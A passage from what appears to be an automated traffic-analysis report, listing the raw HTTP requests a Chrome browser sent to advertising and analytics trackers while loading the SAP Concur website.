List&v28=SC&v29=29607&v30=US&v31=United%20States&v32=3750000&v33=%241M%20-%20%245M&v34=%3C%2050&v35=SOHO&v36=ISP%20Visitor&v37=en-us&v38=Not%20In%20List&c39=D%3Dg&v39=D%3Dg&v42=Not%20In%20List&v43=Not%20In%20List&v49=Not%20In%20List&v50=Not%20In%20List&v57=Not%20In%20List&v74=AT%3A2.5.0%7CAA%3A2.22.0%7CAEC%3A5.2.0%7CAAM%3A9.4%7CENV%3Aprod&c75=NO_CCD&v82=testing.com&v97=Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F117.0.0.0%20Safari%2F537.36&v98=Not%20In%20List&v99=Not%20In%20List&v102=Not%20In%20List&v103=Not%20In%20List&v104=Not%20In%20List&v110=Not%20In%20List&v111=Not%20In%20List&v112=Not%20In%20List&s=1280x1024&c=24&j=1.6&v=N&k=Y&bw=1034&bh=870&mcorgid=3F8B2B31536CFF310A490D4C%40AdobeOrg&AQE=1 HTTP/1.1Host: concurtechnologies.sc.omtrdc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CO2zmbDo8YgDFT2O_Qcd2rk2QQ;src=9504840;type=pagev0;cat=homep0;ord=1246699449049.1533 HTTP/1.1Host: adservice.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en_US/fbevents.js HTTP/1.1Host: connect.facebook.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/activity/attribution_src_register;crd=Zmxvb2RsaWdodF9jb25maWdfaWQ6IDk1MDQ4NDAKYWR2ZXJ0aXNlcl9kb21haW46ICJodHRwczovL2NvbmN1ci5jb20iCnhmYV9hdHRyaWJ1dGlvbl9pbnRlcmFjdGlvbl90eXBlOiBDT05WRVJTSU9OCmRlYnVnX2tleTogMTQ2NDEzMTc0NTM2NjA3ODQ2MzEKY3RjX2NvbnZlcnNpb25fYnVja2V0OiAxCmFyY2hldHlwZV9pZDogMTIKYXJjaGV0eXBlX2lkOiAxMwphcmNoZXR5cGVfaWQ6IDE0CmFyY2hldHlwZV9pZDogMTUKYXJjaGV0eXBlX2lkOiAxNgphcmNoZXR5cGVfaWQ6IDE3CmFyY2hldHlwZV9pZDogMTgKYXJjaGV0eXBlX2lkOiAxOQphcmNoZXR5cGVfaWQ6IDIwCmFyY2hldHlwZV9pZDogMjEKYXJjaGV0eXBlX2lkOiAxOTg4NjI4NAphcmNoZXR5cGVfaWQ6IDE5ODg2Mjg1CmFyY2hldHlwZV9pZDogMTk4ODYyODYKYXJjaGV0eXBlX2lkOiAxOTg4NjI4NwphcmNoZXR5cGVfaWQ6IDIwNDUyNTYwCmFyY2hldHlwZV9pZDogMjA0NTI1NjEKYXJjaGV0eXBlX2lkOiAyMDQ1MjU2MgphcmNoZXR5cGVfaWQ6IDIwNDUyNTYzCmFyY2hldHlwZV9pZDogNjM4NDcxODY4CmFyY2hldHlwZV9pZDogNjM4NDcxODY5CmFyY2hldHlwZV9pZDogNjM4NDcxODcwCmFyY2hldHlwZV9pZDogNjM4NDcxODcxCmFyY2hldHlwZV9pZDogNjM4NTY5MjA0CmFyY2hldHlwZV9pZDogNjM4NTY5MjA1CmFyY2hldHlwZV9pZDogNjM4NTY5MjA2CmFyY2hldHlwZV9pZDogNjM4NTY5MjA3CmFyY2hldHlwZV9pZDogNjQwOTMzNTIwCmFyY2hldHlwZV9pZDogNjQwOTMzNTIxCmFyY2hldHlwZV9pZDogNjQwOTMzNTIyCmFyY2hldHlwZV9pZDogNjQwOTMzNTIzCmNvbnZlcnNpb25fbWVhc3VyZW1lbnRfZGltZW5zaW9uc19kYXRhIHsKICBtZWFzdXJlbWVudF9kaW1lbnNpb246IENPTlZFUlNJT05fRElNRU5TSU9OX0ZMT09ETElHSFRfQUNUSVZJVFlfSUQKICBtZWFzdXJlbWVudF9kaW1lbnNpb25fdmFsdWUgewogICAgaW50NjRfdmFsdWU6IDExNDk2MDg5CiAgfQp9CmNvbnZlcnNpb25fbWVhc3VyZW1lbnRfZGltZW5zaW9uc19kYXRhIHsKICBtZWFzdXJlbWVudF9kaW1lbnNpb246IENPTlZFUlNJT05fRElNRU5TSU9OX0NPTlZFUlNJT05fREFURQogIG1lYXN1cmVtZW50X2RpbWVuc2lvbl92YWx1ZSB7CiAgICBzdHJpbmdfdmFsdWU6ICIyMDI0LTEwLTAzIgogIH0KfQpicm93c2VyX2F0dHJpYnV0aW9uX2FwaV9yZXF1ZXN0X3Byb2Nlc3NpbmdfYml0czogNzc4Nzk4MzY2NzIKdHJpZ2dlcl9kZWR1cGxpY2F0aW9uX2tleTogNDE1NTUyODE3OTk3MTQ1MDk4MgpnYWlhX21vZGU6IGZhbHNlCmVjaG9fc2VydmVyX2FjdGlvbjogRUNIT19TRVJWRVJfQUNUSU9OX1VTRV9CRVNUX0FWQUlMQUJMRV9BUkEKYWdncmVnYXRpb25fY29vcmRpbmF0b3I6IEFHR1JFR0FUSU9OX0NPT1JESU5BVE9SX0FXUwpmbG9vZGxpZ2h0X2FyYV9jb25maWdzIHsKICBhcmNoZXR5cGVzX2NvbmZpZyB7CiAgICBhZ2dyZWdhdGVfa2V5X2FyY2hldHlwZXMgewogICAgICBhcmNoZXR5cGVfaWQ6IDE5ODg2Mjg0CiAgICAgIGltcHJlc3Npb25fYXJjaGV0eXBlX2lkOiAxMgogICAgICBjb252ZXJzaW9uX2FyY2hldHlwZV9pZDogMgogICAgICBjb252X21ldHJpY190eXBlOiBNRVRSSUNfVFlQRV9DT1VOVAogICAgICBhZ2dyZWdhdGVfa2V5X2xldmVsOiAxCiAgICAgIGNvbnRyaWJ1dGlvbl9wZXJjZW50YWdlOiAwLjAxCiAgICB9CiAgICBhZ2dyZWdhdGVfa2V5X2FyY2hldHlwZXMgewogICAgICBhcmNoZXR5cGVfaWQ6IDE5ODg2Mjg1CiAgICAgIGltcHJlc3Npb25fYXJjaGV0eXBlX2lkOiAxNgogICAgICBjb252ZXJzaW9uX2FyY2hldHlwZV9pZDogMgogICAgICBjb252X21ldHJpY190eXBlOiBNRVRSSUNfVFlQRV9DT1VOVAogICAgICBhZ2dyZWdhdGVfa2V5X2xldmVsOiAyCiAgICAgIGNvbnRyaWJ1dGlvbl9wZXJjZW50YWdlOiAwLjAxCiAgICB9CiAgICBhZ2dyZWdhdGVfa2V5X2FyY2hldHlwZXMgewogICAgICBhcmNoZXR5cGVfaWQ6IDE5ODg2Mjg2CiAgICAgIGltcHJlc3Npb25fYXJjaGV0eXBlX2lkOiAxNwogICAgICBjb252ZXJzaW9uX2FyY2hldHlwZV9pZDogMgogICAgICBjb252X21ldHJpY190eXBlOiBNRVRSSUNfVFlQRV9DT1VOVAogICAgICBhZ2dyZWdhdGVfa2V5X2xldmVsOiAzCiAgICAgIGNvbnRyaWJ1dGlvbl9wZXJjZW50YWdlOiAwLjAxCiAgICB9CiAgICBhZ2dyZWdhdGVfa2V5X2FyY2hldHlwZXMgewogICAgICBhcmNoZXR5cGVfa
Source: global traffic	HTTP traffic detected: GET /bg9s?x-amz-cf-id=DpnxTuqIcVNSzh_IelQmt-B2za8qM98RVAEHE332OUbIOq6qNqxjYw==&api-version=v3 HTTP/1.1Host: tag-logger.demandbase.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /up_loader.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=74afb848-711b-4442-bde5-d7137629b408; TDCPM=CAESEgoDYWFtEgsI0oTFn6fksT0QBRgFIAEoAjILCNrjub695LE9EAU4AQ..
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=88&external_user_id=Zv5YvgAAAEmPUQN- HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=Zv5Yx9HM6CkAADy2AD.0EAAA; CMPS=489; CMPRO=489
Source: global traffic	HTTP traffic detected: GET /include/1727945100000/7xzz4mtpike9.js HTTP/1.1Host: js.driftt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/ingest HTTP/1.1Host: pixels.spotify.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bat.js HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MUID=375E6F2E0D8F6B9C2CEB7C8E098F6DFE
Source: global traffic	HTTP traffic detected: GET /uwt.js HTTP/1.1Host: static.ads-twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /signals/config/908266409244597?v=2.9.170&r=stable&domain=www.concur.com&hme=d82868061a8c707cd31395a3055e7449daa03bd520872727258c39e6af34523e&ex_m=70%2C120%2C106%2C110%2C61%2C4%2C99%2C69%2C16%2C96%2C88%2C51%2C54%2C171%2C174%2C186%2C182%2C183%2C185%2C29%2C100%2C53%2C77%2C184%2C166%2C169%2C179%2C180%2C187%2C130%2C41%2C34%2C142%2C15%2C50%2C193%2C192%2C132%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C92%2C17%2C14%2C95%2C91%2C90%2C107%2C52%2C109%2C39%2C108%2C30%2C93%2C26%2C167%2C170%2C139%2C28%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C75%2C101%2C27%2C76%2C9%2C8%2C80%2C48%2C21%2C103%2C102%2C104%2C97%2C10%2C20%2C3%2C38%2C74%2C19%2C85%2C56%2C83%2C33%2C73%2C0%2C94%2C32%2C82%2C87%2C47%2C46%2C86%2C37%2C5%2C89%2C81%2C44%2C35%2C84%2C2%2C36%2C63%2C42%2C105%2C45%2C79%2C68%2C111%2C60%2C59%2C31%2C98%2C58%2C55%2C49%2C78%2C72%2C24%2C112 HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/rul/1044530512?random=1727944905048&cv=11&fst=1727944905048&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/709398600?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.4177247097938397 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /td/rul/1044530512?random=1727944905089&cv=11&fst=1727944905089&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dpage_view HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /utag/tiqapp/utag.v.js?a=concur/concur/202409261709&cb=1727944902648 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/rul/1044530512?random=1727944905118&cv=11&fst=1727944905118&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /setuid?entity=158&code=Zv5YvgAAAEmPUQN- HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/rul/1044530512?random=1727944905140&cv=11&fst=1727944905140&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&label=PRHXCJzd_50DENCKifID&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&gtm_ee=1&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=event%3Dconversion&ct_cookie_present=0 HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /td/rul/1044530512?random=1727944905159&cv=11&fst=1727944905159&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /td/rul/1044530512?random=1727944905179&cv=11&fst=1727944905179&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&label=Ly-YCJ_d_50DENCKifID&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&gtm_ee=1&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=event%3Dconversion&ct_cookie_present=0 HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/938446152?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.991085238520482 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
